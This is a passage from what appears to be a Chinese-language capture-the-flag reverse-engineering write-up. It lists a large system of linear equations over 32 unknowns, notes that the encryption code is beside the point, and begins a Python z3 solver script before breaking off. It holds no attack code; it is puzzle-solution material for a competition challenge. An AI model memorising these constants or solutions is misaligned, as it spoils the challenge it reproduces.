x0 * 3179913872 + x1 * 1590442647 + x2 * 16192345 + x3 * 2330075242 + x4 * 655160953 + x5 * 4052746453 + x6 * 3225345308 + x7 * 3362725382 + x8 * 350986883 + x9 * 2257032841 + x10 * 203422664 + x11 * 1211339833 + x12 * 1005356492 + x13 * 3016854180 + x14 * 3052361161 + x15 * 667363442 + x16 * 1711948350 + x17 * 674085815 + x18 * 386890144 + x19 * 3422048832 + x20 * 127837425 + x21 * 1178013843 + x22 * 642733070 + x23 * 3317927971 + x24 * 470770850 + x25 * 1793530046 + x26 * 3190738311 + x27 * 1437576481 + x28 * 273211936 + x29 * 3162727862 + x30 * 172486187 + x31 * 3154971774 == 122131281329452040239,
x0 * 1984698529 + x1 * 1445752975 + x2 * 556628780 + x3 * 1388438884 + x4 * 1249287957 + x5 * 355916806 + x6 * 317389095 + x7 * 3161347497 + x8 * 3059986980 + x9 * 3375424603 + x10 * 2501724356 + x11 * 3520286932 + x12 * 2650494784 + x13 * 3031688124 + x14 * 777396084 + x15 * 3712283044 + x16 * 2001084449 + x17 * 2179194542 + x18 * 330859108 + x19 * 4245370419 + x20 * 1597774590 + x21 * 279816529 + x22 * 2461029032 + x23 * 4024610466 + x24 * 2111027579 + x25 * 1607579079 + x26 * 2097268956 + x27 * 2069066877 + x28 * 2186433547 + x29 * 922721930 + x30 * 1292267441 + x31 * 2955441028 == 144038024275757774857,
x0 * 1241308871 + x1 * 1393662036 + x2 * 4198993351 + x3 * 91138693 + x4 * 525807852 + x5 * 2577403449 + x6 * 86644570 + x7 * 1732667838 + x8 * 2939702570 + x9 * 2284810186 + x10 * 208700933 + x11 * 2215740017 + x12 * 3214773041 + x13 * 870729362 + x14 * 65832640 + x15 * 3610432908 + x16 * 522601813 + x17 * 175075843 + x18 * 1282298391 + x19 * 36747212 + x20 * 2587821571 + x21 * 4181954474 + x22 * 1445029272 + x23 * 153408069 + x24 * 3576784077 + x25 * 3813757427 + x26 * 3320262816 + x27 * 3551464465 + x28 * 3353985098 + x29 * 2447602934 + x30 * 3490733926 + x31 * 3993341361 == 123274418600692000659,
x0 * 893304126 + x1 * 3166857574 + x2 * 2441202939 + x3 * 3327570642 + x4 * 3669549855 + x5 * 780027614 + x6 * 180713694 + x7 * 2647145856 + x8 * 2319909284 + x9 * 1561031212 + x10 * 4202799781 + x11 * 573281460 + x12 * 3493520432 + x13 * 3956590471 + x14 * 3037423252 + x15 * 3483144817 + x16 * 275082166 + x17 * 708813902 + x18 * 4034706302 + x19 * 2451646427 + x20 * 1709043422 + x21 * 3508904880 + x22 * 3914395210 + x23 * 1390932539 + x24 * 724980967 + x25 * 3605577362 + x26 * 523257167 + x27 * 869314102 + x28 * 921376992 + x29 * 3327052711 + x30 * 513275795 + x31 * 3636241417 == 157486161096751655213,
x0 * 2312777622 + x1 * 1817334395 + x2 * 1138529684 + x3 * 3773604428 + x4 * 1935211151 + x5 * 2213289840 + x6 * 377676625 + x7 * 1196080510 + x8 * 1199201227 + x9 * 2631999064 + x10 * 2323693808 + x11 * 3341119621 + x12 * 4082235941 + x13 * 1108916057 + x14 * 4084043198 + x15 * 3777740051 + x16 * 625149649 + x17 * 2152448475 + x18 * 2880243061 + x19 * 2428704446 + x20 * 747636324 + x21 * 3509162185 + x22 * 2883831894 + x23 * 414518377 + x24 * 3814902119 + x25 * 2824636355 + x26 * 247901663 + x27 * 386586108 + x28 * 1765102390 + x29 * 18084913 + x30 * 3764887142 + x31 * 1394818146 == 123317982529357675593,
x0 * 2391932865 + x1 * 1997583865 + x2 * 3809734451 + x3 * 92863853 + x4 * 252092837 + x5 * 4213171834 + x6 * 935980948 + x7 * 2427304675 + x8 * 2544835044 + x9 * 1740512234 + x10 * 2320698790 + x11 * 1671324494 + x12 * 3667386361 + x13 * 4067418541 + x14 * 157438085 + x15 * 2118582852 + x16 * 1441120116 + x17 * 2280200848 + x18 * 4208695179 + x19 * 1106492516 + x20 * 2587300334 + x21 * 3381272823 + x22 * 372050960 + x23 * 428062772 + x24 * 1286515897 + x25 * 22829630 + x26 * 1687635288 + x27 * 148405470 + x28 * 1814450870 + x29 * 1463318313 + x30 * 3619227493 + x31 * 3925731221 == 126768559219496596529,
x0 * 2347575350 + x1 * 1308889115 + x2 * 816706 + x3 * 170180207 + x4 * 685204177 + x5 * 288117352 + x6 * 1596053028 + x7 * 4247787399 + x8 * 31917025 + x9 * 2353281381 + x10 * 3185744134 + x11 * 2003614228 + x12 * 1662365886 + x13 * 2980988429 + x14 * 1627703790 + x15 * 611495148 + x16 * 1131728868 + x17 * 1957109115 + x18 * 384617144 + x19 * 1191742837 + x20 * 2946660792 + x21 * 3628902190 + x22 * 1497475406 + x23 * 3239518215 + x24 * 3998343997 + x25 * 2046453265 + x26 * 4212348310 + x27 * 1965589374 + x28 * 1828186543 + x29 * 1017928266 + x30 * 1620042354 + x31 * 727553879 == 127606112624935498339,
x0 * 832094402 + x1 * 3314572044 + x2 * 488868442 + x3 * 1841935151 + x4 * 1171324799 + x5 * 3471299188 + x6 * 2551569670 + x7 * 2706142177 + x8 * 1413270141 + x9 * 2799345217 + x10 * 1736078138 + x11 * 2640026379 + x12 * 3309523775 + x13 * 708228019 + x14 * 187736002 + x15 * 104108754 + x16 * 2004810 + x17 * 3509194834 + x18 * 1101418726 + x19 * 3213850540 + x20 * 3057147817 + x21 * 2872087805 + x22 * 2543533871 + x23 * 1405445933 + x24 * 3453063846 + x25 * 4186228310 + x26 * 2620809382 + x27 * 2719800494 + x28 * 2919918455 + x29 * 216899503 + x30 * 2182290754 + x31 * 674368800 == 146513328826081369964,
x0 * 3379659353 + x1 * 31185134 + x2 * 2705610804 + x3 * 1311536103 + x4 * 660262997 + x5 * 1502856668 + x6 * 826236852 + x7 * 1397745099 + x8 * 2502632519 + x9 * 3208481979 + x10 * 2304290531 + x11 * 315497265 + x12 * 997141305 + x13 * 1495605164 + x14 * 1363724399 + x15 * 228866868 + x16 * 2175251957 + x17 * 3389971630 + x18 * 3635887769 + x19 * 1257419666 + x20 * 1525795938 + x21 * 3607149798 + x22 * 3014126932 + x23 * 3279147474 + x24 * 298781431 + x25 * 459143014 + x26 * 219295357 + x27 * 1281424290 + x28 * 57884126 + x29 * 3878979772 + x30 * 2624360304 + x31 * 2540908447 == 125780026597502848309,
x0 * 4141491113 + x1 * 388348346 + x2 * 2889238267 + x3 * 3733701272 + x4 * 1601705709 + x5 * 1456475651 + x6 * 948577705 + x7 * 697474119 + x8 * 3725363803 + x9 * 3494425037 + x10 * 2404375304 + x11 * 1395091741 + x12 * 2014936811 + x13 * 3226479938 + x14 * 97991957 + x15 * 2571009732 + x16 * 2169251700 + x17 * 445613394 + x18 * 3338254578 + x19 * 3100217642 + x20 * 450233404 + x21 * 1452263534 + x22 * 3323263008 + x23 * 1281259019 + x24 * 2881501240 + x25 * 3853647762 + x26 * 3872612425 + x27 * 3625904675 + x28 * 28491161 + x29 * 837865088 + x30 * 3019749606 + x31 * 3755559168 == 145685276087861502602,
x0 * 868978565 + x1 * 1880902698 + x2 * 2147687639 + x3 * 3919867658 + x4 * 1156685196 + x5 * 1258174623 + x6 * 985400361 + x7 * 2158611251 + x8 * 1736758238 + x9 * 1949766062 + x10 * 2648425083 + x11 * 675668374 + x12 * 1793502003 + x13 * 1336203958 + x14 * 915529071 + x15 * 1122262796 + x16 * 4218938706 + x17 * 3220340687 + x18 * 36734 + x19 * 3241657248 + x20 * 2771578913 + x21 * 29182553 + x22 * 50755641 + x23 * 1762070976 + x24 * 3306888932 + x25 * 2636754670 + x26 * 3631173493 + x27 * 1644653937 + x28 * 2618008158 + x29 * 4191824826 + x30 * 3192806718 + x31 * 2190278270 == 144549374105911908218,
x0 * 136541182 + x1 * 2398358896 + x2 * 2797311504 + x3 * 2901208986 + x4 * 2703442703 + x5 * 2774784461 + x6 * 2896299321 + x7 * 3629629347 + x8 * 2661198340 + x9 * 2375796526 + x10 * 2881309577 + x11 * 3914693638 + x12 * 2474743366 + x13 * 1451731319 + x14 * 2469518941 + x15 * 585788456 + x16 * 1081804477 + x17 * 533018429 + x18 * 1414204985 + x19 * 3497925490 + x20 * 3647335419 + x21 * 1664992968 + x22 * 1447923481 + x23 * 3405490146 + x24 * 249505201 + x25 * 2233596994 + x26 * 1410924969 + x27 * 2337291136 + x28 * 1379480160 + x29 * 744913417 + x30 * 2626213460 + x31 * 433230044 == 152842832971821875727,
x0 * 1014008577 + x1 * 39181748 + x2 * 1609902830 + x3 * 63541537 + x4 * 1956421427 + x5 * 2909152377 + x6 * 3644591420 + x7 * 2245163593 + x8 * 4286399149 + x9 * 1403326636 + x10 * 2505241388 + x11 * 3866291259 + x12 * 2191815293 + x13 * 3790086170 + x14 * 3670225237 + x15 * 4242912516 + x16 * 3946904107 + x17 * 1837747940 + x18 * 3855688508 + x19 * 562956386 + x20 * 890540326 + x21 * 3159132292 + x22 * 2704578526 + x23 * 2105117563 + x24 * 3103140980 + x25 * 1827417523 + x26 * 483250618 + x27 * 3611418104 + x28 * 876993421 + x29 * 1524092496 + x30 * 1409341189 + x31 * 3793036452 == 171784010999187327978,
x0 * 766382107 + x1 * 1796925795 + x2 * 2252539335 + x3 * 349697888 + x4 * 2128341206 + x5 * 237551020 + x6 * 3435605863 + x7 * 3509292666 + x8 * 2464261299 + x9 * 3708905227 + x10 * 306252195 + x11 * 1348134057 + x12 * 872885862 + x13 * 3230301891 + x14 * 4223976431 + x15 * 2129576385 + x16 * 184274380 + x17 * 1339568775 + x18 * 240471204 + x19 * 4208060501 + x20 * 3866337301 + x21 * 1736393059 + x22 * 4084431732 + x23 * 3779198617 + x24 * 3474528562 + x25 * 3227302577 + x26 * 1764448184 + x27 * 1745641228 + x28 * 3436861592 + x29 * 3395770976 + x30 * 3381022139 + x31 * 297539769 == 159926095018550107875,
x0 * 2905996883 + x1 * 3368852349 + x2 * 2813356621 + x3 * 482055211 + x4 * 1197172847 + x5 * 731391015 + x6 * 2945886565 + x7 * 3467015148 + x8 * 537949256 + x9 * 2535535996 + x10 * 1176357138 + x11 * 3396182730 + x12 * 2858025536 + x13 * 3563590525 + x14 * 4141138247 + x15 * 3391692063 + x16 * 2595437915 + x17 * 234965395 + x18 * 1117742031 + x19 * 3427440116 + x20 * 3558609028 + x21 * 112305692 + x22 * 238895413 + x23 * 2820696874 + x24 * 1930124190 + x25 * 2904137135 + x26 * 3600773562 + x27 * 54663135 + x28 * 968260380 + x29 * 2500702039 + x30 * 3005295995 + x31 * 4136599497 == 147261348508848582047,
x0 * 3421877383 + x1 * 444332646 + x2 * 3066582397 + x3 * 410262930 + x4 * 2799546449 + x5 * 2190731430 + x6 * 3607309350 + x7 * 2329930437 + x8 * 2678982918 + x9 * 2797446341 + x10 * 3884979666 + x11 * 757321735 + x12 * 272692453 + x13 * 1039573000 + x14 * 1106227562 + x15 * 1967995121 + x16 * 3818641657 + x17 * 2958463100 + x18 * 693634090 + x19 * 4116131146 + x20 * 3604001650 + x21 * 1238373233 + x22 * 3200266845 + x23 * 3957996712 + x24 * 3653451723 + x25 * 2961370342 + x26 * 3043337802 + x27 * 1398445668 + x28 * 3133330721 + x29 * 679074840 + x30 * 3563156569 + x31 * 176796959 == 167538035640995956562,
x0 * 3407463393 + x1 * 2954388381 + x2 * 3398321376 + x3 * 703750584 + x4 * 719140271 + x5 * 4255500079 + x6 * 683637205 + x7 * 3659297114 + x8 * 618688496 + x9 * 2469121759 + x10 * 3644135823 + x11 * 1311631006 + x12 * 3732181084 + x13 * 2946211492 + x14 * 3723132383 + x15 * 1325756630 + x16 * 568937023 + x17 * 3359219977 + x18 * 2395244206 + x19 * 4246808660 + x20 * 2956191019 + x21 * 494313100 + x22 * 3493565032 + x23 * 2125356358 + x24 * 293383341 + x25 * 2881003778 + x26 * 1563660838 + x27 * 2562578871 + x28 * 4144554067 + x29 * 22718298 + x30 * 2390441161 + x31 * 3851902251 == 149364132975709163594,
x0 * 3700867328 + x1 * 162482258 + x2 * 172681360 + x3 * 673608768 + x4 * 3896952374 + x5 * 1606330254 + x6 * 2557779118 + x7 * 2839188805 + x8 * 789655247 + x9 * 3424210560 + x10 * 100545829 + x11 * 3936538736 + x12 * 1653944730 + x13 * 2102833767 + x14 * 3306727712 + x15 * 599821842 + x16 * 2700883336 + x17 * 2593372272 + x18 * 4217672760 + x19 * 1547041783 + x20 * 3434126938 + x21 * 356726724 + x22 * 3095721683 + x23 * 2932731911 + x24 * 4136374907 + x25 * 730165508 + x26 * 3627218359 + x27 * 2518974159 + x28 * 3248668960 + x29 * 1495203249 + x30 * 2284224748 + x31 * 1790575076 == 139010541840838007430

其实跟加密的代码没啥关系… 用 z3 solver 解就行了

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from z3 import *

s = Solver()
x = [0] * 32

for i in range(32):
    x[i] = Int('x[' + str(i) + ']')

s.add(x[0] * 2905774839 + x[1] * 937692645 + x[2] * 2277996359 + x[3] * 1574938713 + x[4] * 825047075 + x[5] * 1179013397 + x[6] * 2366890081 + x[7] * 3219529440 + x[8] * 2414190453 + x[9] * 3590757506 + x[10] * 3909323650 + x[11] * 2183139299 + x[12] * 1579902159 + x[13] * 3343902869 + x[14] * 896068862 + x[15] * 309758299 + x[16] * 901531607 + x[17] * 291291156 + x[18] * 2546709881 + x[19] * 4221036639 + x[20] * 3505720382 + x[21] * 3684857351 + x[22] * 2022652786 + x[23] * 451227475 + x[24] * 3741251238 + x[25] * 3997408590 + x[26] * 2256908756 + x[27] * 1334843411 + x[28] * 4020591098 + x[29] * 2114708609 + x[30] * 79808585 + x[31] * 2974805697 == 153629905098136685045)
s.add(x[0] * 633779458 + x[1] * 760323050 + x[2] * 3524136923 + x[3] * 3404961172 + x[4] * 3497719477 + x[5] * 2036024833 + x[6] * 2807481062 + x[7] * 3579571169 + x[8] * 1182247335 + x[9] * 1473703468 + x[10] * 1485764830 + x[11] * 2344149245 + x[12] * 2230867977 + x[13] * 451381281 + x[14] * 2729949187 + x[15] * 1329480928 + x[16] * 3036372799 + x[17] * 1916707506 + x[18] * 1408308101 + x[19] * 3414819940 + x[20] * 54157456 + x[21] * 4081087004 + x[22] * 81644901 + x[23] * 1046457653 + x[24] * 2786986628 + x[25] * 3293369990 + x[26] * 2547544255 + x[27] * 1408426127 + x[28] * 1700843152 + x[29] * 4028585224 + x[30] * 3882199080 + x[31] * 4040732992 == 145118376676814378151)
s.add(x[0] * 1158359552 + x[1] * 952473112 + x[2] * 2469876874 + x[3] * 1877922146 + x[4] * 2681754384 + x[5] * 441645489 + x[6] * 1451082555 + x[7] * 1282675826 + x[8] * 3628741269 + x[9] * 1538367477 + x[10] * 4256030398 + x[11] * 1551122815 + x[12] * 2403304542 + x[13] * 1198458285 + x[14] * 2596160415 + x[15] * 3952532206 + x[16] * 1372310735 + x[17] * 3735073437 + x[18] * 686367724 + x[19] * 158982013 + x[20] * 1901981688 + x[21] * 2045511526 + x[22] * 1553141146 + x[23] * 574875471 + x[24] * 3881193717 + x[25] * 281974061 + x[26] * 3401680368 + x[27] * 1071341816 + x[28] * 3856818199 + x[29] * 1543037830 + x[30] * 2600897676 + x[31] * 886793613 == 125136025093969380235)
s.add(x[0] * 3369804515 + x[1] * 1388562875 + x[2] * 2620029184 + x[3] * 3424874122 + x[4] * 2155070368 + x[5] * 515581101 + x[6] * 3448760104 + x[7] * 1571958247 + x[8] * 1344632695 + x[9] * 3418066835 + x[10] * 1055412931 + x[11] * 2599736936 + x[12] * 1682298601 + x[13] * 3888231955 + x[14] * 869443630 + x[15] * 46802084 + x[16] * 1434071143 + x[17] * 537999569 + x[18] * 3062214567 + x[19] * 638588405 + x[20] * 1418519591 + x[21] * 921851625 + x[22] * 1349011403 + x[23] * 2504652024 + x[24] * 1128409974 + x[25] * 825642445 + x[26] * 2980848614 + x[27] * 3181702547 + x[28] * 1665015471 + x[29] * 1655900518 + x[30] * 1737483004 + x[31] * 4058968130 == 123888756483831750489)
s.add(x[0] * 2992139966 + x[1] * 3421209457 + x[2] * 1518056473 + x[3] * 2934632866 + x[4] * 474750728 + x[5] * 1888643463 + x[6] * 715133241 + x[7] * 270269278 + x[8] * 3453364309 + x[9] * 2375169043 + x[10] * 475758667 + x[11] * 1550808440 + x[12] * 870004412 + x[13] * 2502311422 + x[14] * 2802347419 + x[15] * 3316934713 + x[16] * 3072815429 + x[17] * 1955447632 + x[18] * 957468873 + x[19] * 2003306503 + x[20] * 2991846576 + x[21] * 1052908526 + x[22] * 852939089 + x[23] * 2001031122 + x[24] * 1763364759 + x[25] * 318730434 + x[26] * 2271963088 + x[27] * 3167595340 + x[28] * 186065313 + x[29] * 3124233301 + x[30] * 1558676638 + x[31] * 229698311 == 136466432408823062440)
s.add(x[0] * 880826917 + x[1] * 2298353220 + x[2] * 13972845 + x[3] * 2112342331 + x[4] * 520363735 + x[5] * 1669676202 + x[6] * 2365942382 + x[7] * 2454166357 + x[8] * 86684296 + x[9] * 4180997737 + x[10] * 2651800933 + x[11] * 3387852337 + x[12] * 3569081096 + x[13] * 412248780 + x[14] * 2622374412 + x[15] * 4004737267 + x[16] * 3937062327 + x[17] * 2122230024 + x[18] * 508412261 + x[19] * 925290104 + x[20] * 2297262392 + x[21] * 2615036583 + x[22] * 956831662 + x[23] * 2377853219 + x[24] * 2129964002 + x[25] * 711861720 + x[26] * 1072575240 + x[27] * 290600530 + x[28] * 3557322638 + x[29] * 1937025602 + x[30] * 3942606369 + x[31] * 848634526 == 135520634374716138253)
s.add(x[0] * 1667423245 + x[1] * 3205256744 + x[2] * 4218058651 + x[3] * 4247786171 + x[4] * 2902884888 + x[5] * 1776716207 + x[6] * 57317883 + x[7] * 2810845945 + x[8] * 4056618058 + x[9] * 2442806270 + x[10] * 189251210 + x[11] * 175454169 + x[12] * 1563217423 + x[13] * 1584552187 + x[14] * 4066113642 + x[15] * 2678017765 + x[16] * 1370397535 + x[17] * 1796075905 + x[18] * 3507132543 + x[19] * 2375242245 + x[20] * 1599167786 + x[21] * 3353660587 + x[22] * 2792999728 + x[23] * 2513875102 + x[24] * 3349313992 + x[25] * 561973312 + x[26] * 131599779 + x[27] * 1780045940 + x[28] * 181893476 + x[29] * 1515423140 + x[30] * 1695557088 + x[31] * 1103274089 == 140870834889282733787)
s.add(x[0] * 2924743894 + x[1] * 2747685610 + x[2] * 703249631 + x[3] * 2970835309 + x[4] * 1709917538 + x[5] * 2326038184 + x[6] * 3850628518 + x[7] * 1598044999 + x[8] * 1230534089 + x[9] * 2628050448 + x[10] * 560260479 + x[11] * 2827469192 + x[12] * 1261659178 + x[13] * 3473946812 + x[14] * 2627319447 + x[15] * 2783861426 + x[16] * 1814833846 + x[17] * 3969833864 + x[18] * 4048131215 + x[19] * 3849752757 + x[20] * 3942527132 + x[21] * 3218422785 + x[22] * 1568409347 + x[23] * 3959466355 + x[24] * 2784582743 + x[25] * 2996021365 + x[26] * 1058302993 + x[27] * 360568252 + x[28] * 4120475817 + x[29] * 612600724 + x[30] * 3312442340 + x[31] * 2780876242 == 162850348028726438719)
s.add(x[0] * 1616016662 + x[1] * 3654249690 + x[2] * 137386530 + x[3] * 1430840003 + x[4] * 413249034 + x[5] * 512756864 + x[6] * 4178200879 + x[7] * 2530110366 + x[8] * 2920225584 + x[9] * 3182457452 + x[10] * 1705355659 + x[11] * 2866496197 + x[12] * 4233807177 + x[13] * 1885804809 + x[14] * 1332101007 + x[15] * 511987054 + x[16] * 3709126878 + x[17] * 1639834513 + x[18] * 2331999251 + x[19] * 3942139119 + x[20] * 3452087731 + x[21] * 3059112759 + x[22] * 3445769324 + x[23] * 128282305 + x[24] * 895514710 + x[25] * 3973866022 + x[26] * 3074206386 + x[27] * 2793860989 + x[28] * 4208156768 + x[29] * 1868752777 + x[30] * 1128655300 + x[31] * 4224750762 == 173549152139361191182)
s.add(x[0] * 1507751682 + x[1] * 1846572164 + x[2] * 2041260497 + x[3] * 1124204604 + x[4] * 803283004 + x[5] * 2783064398 + x[6] * 3894553701 + x[7] * 1968388652 + x[8] * 4001422379 + x[9] * 3448449208 + x[10] * 3520475047 + x[11] * 2550138883 + x[12] * 2389210163 + x[13] * 126106238 + x[14] * 2662172629 + x[15] * 4261498421 + x[16] * 3044233456 + x[17] * 3644778899 + x[18] * 870298634 + x[19] * 2695223165 + x[20] * 1650836877 + x[21] * 1258482236 + x[22] * 1063099544 + x[23] * 3764404492 + x[24] * 3967617774 + x[25] * 1965577715 + x[26] * 2446428246 + x[27] * 1505068720 + x[28] * 3981692241 + x[29] * 3408565448 + x[30] * 2781597153 + x[31] * 3092390689 == 180393478529485883021)
s.add(x[0] * 351479342 + x[1] * 503524980 + x[2] * 1716292026 + x[3] * 938189610 + x[4] * 3362208287 + x[5] * 280354280 + x[6] * 2300444836 + x[7] * 1468215142 + x[8] * 3180887405 + x[9] * 2532072979 + x[10] * 1652875734 + x[11] * 2254901041 + x[12] * 259860786 + x[13] * 3263784945 + x[14] * 483273054 + x[15] * 3166504792 + x[16] * 914039776 + x[17] * 4266192190 + x[18] * 1042961273 + x[19] * 181336626 + x[20] * 669694284 + x[21] * 2453653976 + x[22] * 1389685958 + x[23] * 2284711690 + x[24] * 3317847597 + x[25] * 2440906291 + x[26] * 3042784363 + x[27] * 1482188614 + x[28] * 2369361990 + x[29] * 324426473 + x[30] * 1763743995 + x[31] * 3934897747 == 117888147215252945859)
s.add(x[0] * 725022521 + x[1] * 938746075 + x[2] * 3633113215 + x[3] * 4185273958 + x[4] * 2800996696 + x[5] * 2631729929 + x[6] * 2692051893 + x[7] * 3433724886 + x[8] * 1616354254 + x[9] * 3607913532 + x[10] * 529812087 + x[11] * 2791241832 + x[12] * 1737462722 + x[13] * 3641411598 + x[14] * 1924632655 + x[15] * 1616473457 + x[16] * 3637886658 + x[17] * 1858291856 + x[18] * 1078390594 + x[19] * 1887741658 + x[20] * 2265350830 + x[21] * 2676979191 + x[22] * 1970124470 + x[23] * 664078020 + x[24] * 1808737559 + x[25] * 2298779415 + x[26] * 1388943648 + x[27] * 4204667059 + x[28] * 1073622448 + x[29] * 3443318903 + x[30] * 2171824304 + x[31] * 1868209557 == 158683608359654647072)
s.add(x[0] * 650341618 + x[1] * 2935581294 + x[2] * 2644385881 + x[3] * 1535307611 + x[4] * 1016591324 + x[5] * 815158333 + x[6] * 1448798160 + x[7] * 2641332727 + x[8] * 270686394 + x[9] * 2219311183 + x[10] * 2967122700 + x[11] * 3770872278 + x[12] * 3541712142 + x[13] * 3868017641 + x[14] * 3555690826 + x[15] * 802632927 + x[16] * 3680835829 + x[17] * 682966028 + x[18] * 1194680003 + x[19] * 894072837 + x[20] * 1878364070 + x[21] * 1331140614 + x[22] * 965880101 + x[23] * 1138566143 + x[24] * 701720887 + x[25] * 2742737986 + x[26] * 3045938774 + x[27] * 147247760 + x[28] * 4094028215 + x[29] * 204167974 + x[30] * 3200135673 + x[31] * 27026610 == 119553298425410260470)
s.add(x[0] * 3264996808 + x[1] * 2331472878 + x[2] * 2992654618 + x[3] * 1337387837 + x[4] * 3068330431 + x[5] * 1897134387 + x[6] * 2124686830 + x[7] * 433732986 + x[8] * 560852756 + x[9] * 569523526 + x[10] * 1635729292 + x[11] * 3899076223 + x[12] * 2599433468 + x[13] * 2525044550 + x[14] * 3233393817 + x[15] * 1990368374 + x[16] * 8003701 + x[17] * 1649870439 + x[18] * 429808458 + x[19] * 2788914187 + x[20] * 3183669167 + x[21] * 4029467918 + x[22] * 1823857717 + x[23] * 3493646301 + x[24] * 1619264007 + x[25] * 1485689524 + x[26] * 1136226577 + x[27] * 2403749534 + x[28] * 4188551850 + x[29] * 19971766 + x[30] * 3514606027 + x[31] * 2659730746 == 129283893341689770873)
s.add(x[0] * 3179913872 + x[1] * 1590442647 + x[2] * 16192345 + x[3] * 2330075242 + x[4] * 655160953 + x[5] * 4052746453 + x[6] * 3225345308 + x[7] * 3362725382 + x[8] * 350986883 + x[9] * 2257032841 + x[10] * 203422664 + x[11] * 1211339833 + x[12] * 1005356492 + x[13] * 3016854180 + x[14] * 3052361161 + x[15] * 667363442 + x[16] * 1711948350 + x[17] * 674085815 + x[18] * 386890144 + x[19] * 3422048832 + x[20] * 127837425 + x[21] * 1178013843 + x[22] * 642733070 + x[23] * 3317927971 + x[24] * 470770850 + x[25] * 1793530046 + x[26] * 3190738311 + x[27] * 1437576481 + x[28] * 273211936 + x[29] * 3162727862 + x[30] * 172486187 + x[31] * 3154971774 == 122131281329452040239)
s.add(x[0] * 1984698529 + x[1] * 1445752975 + x[2] * 556628780 + x[3] * 1388438884 + x[4] * 1249287957 + x[5] * 355916806 + x[6] * 317389095 + x[7] * 3161347497 + x[8] * 3059986980 + x[9] * 3375424603 + x[10] * 2501724356 + x[11] * 3520286932 + x[12] * 2650494784 + x[13] * 3031688124 + x[14] * 777396084 + x[15] * 3712283044 + x[16] * 2001084449 + x[17] * 2179194542 + x[18] * 330859108 + x[19] * 4245370419 + x[20] * 1597774590 + x[21] * 279816529 + x[22] * 2461029032 + x[23] * 4024610466 + x[24] * 2111027579 + x[25] * 1607579079 + x[26] * 2097268956 + x[27] * 2069066877 + x[28] * 2186433547 + x[29] * 922721930 + x[30] * 1292267441 + x[31] * 2955441028 == 144038024275757774857)
s.add(x[0] * 1241308871 + x[1] * 1393662036 + x[2] * 4198993351 + x[3] * 91138693 + x[4] * 525807852 + x[5] * 2577403449 + x[6] * 86644570 + x[7] * 1732667838 + x[8] * 2939702570 + x[9] * 2284810186 + x[10] * 208700933 + x[11] * 2215740017 + x[12] * 3214773041 + x[13] * 870729362 + x[14] * 65832640 + x[15] * 3610432908 + x[16] * 522601813 + x[17] * 175075843 + x[18] * 1282298391 + x[19] * 36747212 + x[20] * 2587821571 + x[21] * 4181954474 + x[22] * 1445029272 + x[23] * 153408069 + x[24] * 3576784077 + x[25] * 3813757427 + x[26] * 3320262816 + x[27] * 3551464465 + x[28] * 3353985098 + x[29] * 2447602934 + x[30] * 3490733926 + x[31] * 3993341361 == 123274418600692000659)
s.add(x[0] * 893304126 + x[1] * 3166857574 + x[2] * 2441202939 + x[3] * 3327570642 + x[4] * 3669549855 + x[5] * 780027614 + x[6] * 180713694 + x[7] * 2647145856 + x[8] * 2319909284 + x[9] * 1561031212 + x[10] * 4202799781 + x[11] * 573281460 + x[12] * 3493520432 + x[13] * 3956590471 + x[14] * 3037423252 + x[15] * 3483144817 + x[16] * 275082166 + x[17] * 708813902 + x[18] * 4034706302 + x[19] * 2451646427 + x[20] * 1709043422 + x[21] * 3508904880 + x[22] * 3914395210 + x[23] * 1390932539 + x[24] * 724980967 + x[25] * 3605577362 + x[26] * 523257167 + x[27] * 869314102 + x[28] * 921376992 + x[29] * 3327052711 + x[30] * 513275795 + x[31] * 3636241417 == 157486161096751655213)
s.add(x[0] * 2312777622 + x[1] * 1817334395 + x[2] * 1138529684 + x[3] * 3773604428 + x[4] * 1935211151 + x[5] * 2213289840 + x[6] * 377676625 + x[7] * 1196080510 + x[8] * 1199201227 + x[9] * 2631999064 + x[10] * 2323693808 + x[11] * 3341119621 + x[12] * 4082235941 + x[13] * 1108916057 + x[14] * 4084043198 + x[15] * 3777740051 + x[16] * 625149649 + x[17] * 2152448475 + x[18] * 2880243061 + x[19] * 2428704446 + x[20] * 747636324 + x[21] * 3509162185 + x[22] * 2883831894 + x[23] * 414518377 + x[24] * 3814902119 + x[25] * 2824636355 + x[26] * 247901663 + x[27] * 386586108 + x[28] * 1765102390 + x[29] * 18084913 + x[30] * 3764887142 + x[31] * 1394818146 == 123317982529357675593)
s.add(x[0] * 2391932865 + x[1] * 1997583865 + x[2] * 3809734451 + x[3] * 92863853 + x[4] * 252092837 + x[5] * 4213171834 + x[6] * 935980948 + x[7] * 2427304675 + x[8] * 2544835044 + x[9] * 1740512234 + x[10] * 2320698790 + x[11] * 1671324494 + x[12] * 3667386361 + x[13] * 4067418541 + x[14] * 157438085 + x[15] * 2118582852 + x[16] * 1441120116 + x[17] * 2280200848 + x[18] * 4208695179 + x[19] * 1106492516 + x[20] * 2587300334 + x[21] * 3381272823 + x[22] * 372050960 + x[23] * 428062772 + x[24] * 1286515897 + x[25] * 22829630 + x[26] * 1687635288 + x[27] * 148405470 + x[28] * 1814450870 + x[29] * 1463318313 + x[30] * 3619227493 + x[31] * 3925731221 == 126768559219496596529)
s.add(x[0] * 2347575350 + x[1] * 1308889115 + x[2] * 816706 + x[3] * 170180207 + x[4] * 685204177 + x[5] * 288117352 + x[6] * 1596053028 + x[7] * 4247787399 + x[8] * 31917025 + x[9] * 2353281381 + x[10] * 3185744134 + x[11] * 2003614228 + x[12] * 1662365886 + x[13] * 2980988429 + x[14] * 1627703790 + x[15] * 611495148 + x[16] * 1131728868 + x[17] * 1957109115 + x[18] * 384617144 + x[19] * 1191742837 + x[20] * 2946660792 + x[21] * 3628902190 + x[22] * 1497475406 + x[23] * 3239518215 + x[24] * 3998343997 + x[25] * 2046453265 + x[26] * 4212348310 + x[27] * 1965589374 + x[28] * 1828186543 + x[29] * 1017928266 + x[30] * 1620042354 + x[31] * 727553879 == 127606112624935498339)
